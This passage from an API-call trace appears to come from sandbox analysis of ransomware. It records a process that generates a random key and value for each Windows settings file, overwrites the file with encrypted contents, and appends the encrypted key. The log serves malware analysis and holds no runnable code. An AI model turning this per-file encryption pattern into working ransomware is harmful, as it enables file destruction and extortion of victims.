| out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.667] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.667] CloseHandle (hObject=0x1c24) returned 1 [0195.672] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.672] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.672] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{37E2F32E-C821-4094-B429-2B4E8EA810AA}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.673] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x406, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x406, lpOverlapped=0x0) returned 1 [0195.674] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.674] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x406, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x406, lpOverlapped=0x0) returned 1 [0195.674] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x406 [0195.674] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.674] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.674] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.675] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.675] CloseHandle (hObject=0x1c24) returned 1 [0195.677] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.677] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.677] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{37C361D8-51CD-40fa-A797-8FC1EA28F9F4}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.677] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3b2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b2, lpOverlapped=0x0) returned 1 [0195.678] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-946, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.679] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3b2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b2, lpOverlapped=0x0) returned 1 [0195.679] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b2 [0195.679] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.679] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.679] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.680] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.680] CloseHandle (hObject=0x1c24) returned 1 [0195.681] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.681] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.681] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{37092408-D49C-451D-B56D-78B243DC475C}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.682] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3bc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3bc, lpOverlapped=0x0) returned 1 [0195.683] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-956, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.683] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3bc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3bc, lpOverlapped=0x0) returned 1 [0195.683] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3bc [0195.683] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.683] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.684] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.684] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.684] CloseHandle (hObject=0x1c24) returned 1 [0195.685] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.685] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.685] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{36fb1658-3a23-4d62-9bfd-37f4b18a85e9}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.686] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3a9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3a9, lpOverlapped=0x0) returned 1 [0195.697] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-937, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.697] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3a9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3a9, lpOverlapped=0x0) returned 1 [0195.697] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3a9 [0195.698] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.698] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.698] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.698] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.698] CloseHandle (hObject=0x1c24) returned 1 [0195.700] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.701] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.701] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{36C8B34B-83F9-4704-B817-9AB1A723705A}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.701] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x382, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x382, lpOverlapped=0x0) returned 1 [0195.702] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-898, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.702] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x382, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x382, lpOverlapped=0x0) returned 1 [0195.702] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x382 [0195.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.703] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.703] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.703] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.703] CloseHandle (hObject=0x1c24) returned 1 [0195.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.707] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.707] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{33F1F9B5-BD94-4D77-96AE-62F10E4A010A}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.708] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3cd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3cd, lpOverlapped=0x0) returned 1 [0195.709] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-973, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.709] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3cd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3cd, lpOverlapped=0x0) returned 1 [0195.710] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3cd [0195.710] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.710] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.710] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.710] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.711] CloseHandle (hObject=0x1c24) returned 1 [0195.712] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.712] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.712] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{33843DB0-24E7-4682-A019-5393D7F2BFFA}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.713] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x39c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x39c, lpOverlapped=0x0) returned 1 [0195.714] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.714] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x39c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x39c, lpOverlapped=0x0) returned 1 [0195.714] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x39c [0195.715] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.715] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.715] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.715] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.715] CloseHandle (hObject=0x1c24) returned 1 [0195.717] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.717] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.717] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{31DD3DA1-ED44-4BA8-A67B-6EA93DEA77E7}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.717] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x418, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x418, lpOverlapped=0x0) returned 1 [0195.718] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.719] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x418, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x418, lpOverlapped=0x0) returned 1 [0195.719] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x418 [0195.719] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.719] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.719] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.719] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.720] CloseHandle (hObject=0x1c24) returned 1 [0195.721] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.721] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.721] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{30137454-0E1F-43bb-9CB8-AEF452964B0B}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.721] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3a9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3a9, lpOverlapped=0x0) returned 1 [0195.722] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-937, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.722] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3a9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3a9, lpOverlapped=0x0) returned 1 [0195.723] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3a9 [0195.723] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.723] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.723] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.723] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.724] CloseHandle (hObject=0x1c24) returned 1 [0195.725] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.725] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.725] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{2D06D17B-2A5F-4835-AF30-6D2D58A4A66C}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.725] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d6, lpOverlapped=0x0) returned 1 [0195.726] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-982, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.726] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d6, lpOverlapped=0x0) returned 1 [0195.727] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d6 [0195.727] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.727] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.727] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.727] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.727] CloseHandle (hObject=0x1c24) returned 1 [0195.729] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.729] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.729] SetFileAttributesW 